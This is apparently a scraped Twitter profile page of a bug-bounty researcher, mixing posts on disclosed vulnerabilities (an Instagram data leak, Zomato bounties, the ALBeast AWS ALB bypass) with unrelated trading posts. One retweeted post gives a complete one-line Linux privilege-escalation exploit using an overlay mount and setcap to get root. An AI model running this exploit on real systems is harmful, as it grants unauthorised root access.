ZHacker

Security Researcher, Investor

[ZHacker @ZHacker13]

#BugBounty

"Instagram User? your details may Leaked"

Facebook confirmed my critical vulnerability (leads to "Data Leak" of Instagram Users):

https://t.co/N582NHxhpH

Thanks! @UKZak @Forbes @LukasStefanko

[Biotenic @Biotenic]

Q2/1H catalysts

[Subu Trade @SubuTrade]

In case you're wondering, here's what the S&P did over the next few days

[FinancialJuice @financialjuice]

🔴 Trump: We may buy ships from other nations.

[TT3 @TradingThomas3]

Someone bought $1.3M of $SPY 510C earlier, they are now worth $33M LOL

[liad eliyahu @liadeliyahu]

4/ Check out our blog to read the full research:
https://t.co/NVpOQ9g3cD

[liad eliyahu @liadeliyahu]

1/ When the #ALBeast issue meets open-source - Story time about how discovering ALBeast led to finding two additional CVEs (2024-8901 & CVE-2024-10125) 🧵👇

[liad eliyahu @liadeliyahu]

🚨We could bypass authentication to thousands of applications by exploiting a configuration-based vulnerability in AWS ALB. Here’s everything you need to know about the #ALBeast vulnerability discovered by @MiggoSecurity

[liad eliyahu @liadeliyahu]

Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

[CyberNAT @_Cyber_NAT_]

https://t.co/9KygDnuPsj
https://t.co/MIzZBDopHk
https://t.co/eOToedEx81
https://t.co/RhTi4cZJl3
https://t.co/qTByWWlRTb

Legend! @ZHacker13

CC: @prateek_0490

[publiclyDisclosed @disclosedh1]

Zomato disclosed a bug submitted by @ZHacker13: https://t.co/EZ97Blu3VC - Bounty: $150 #hackerone #bugbounty

[publiclyDisclosed @disclosedh1]

Zomato disclosed a bug submitted by @ZHacker13: https://t.co/E13morl8io - Bounty: $2,000 #hackerone #bugbounty

[publiclyDisclosed @disclosedh1]

Zomato disclosed a bug submitted by @ZHacker13: https://t.co/UAQ2tkuH7E - Bounty: $100 #hackerone #bugbounty

[publiclyDisclosed @disclosedh1]

Zomato disclosed a bug submitted by @ZHacker13: https://t.co/94ZcKfMUNh - Bounty: $2,000 #hackerone #bugbounty

[publiclyDisclosed @disclosedh1]

Zomato disclosed a bug submitted by @ZHacker13: https://t.co/ATuamJDmPz - Bounty: $2,000 #hackerone #bugbounty

[Orange Tsai 🍊 @orange_8361]

SSRF + TLS rebinding! This must be one of my favorite web hacking technique in this year!

[Armaan Pathan @armaancrockroax]

Yay! @Apple Bounty! <3 @iTunes.

[spidersec @SpiderSec]

My Blind XSS, XXE & SSRF detection and logging tool.
https://t.co/Jox0LyniF2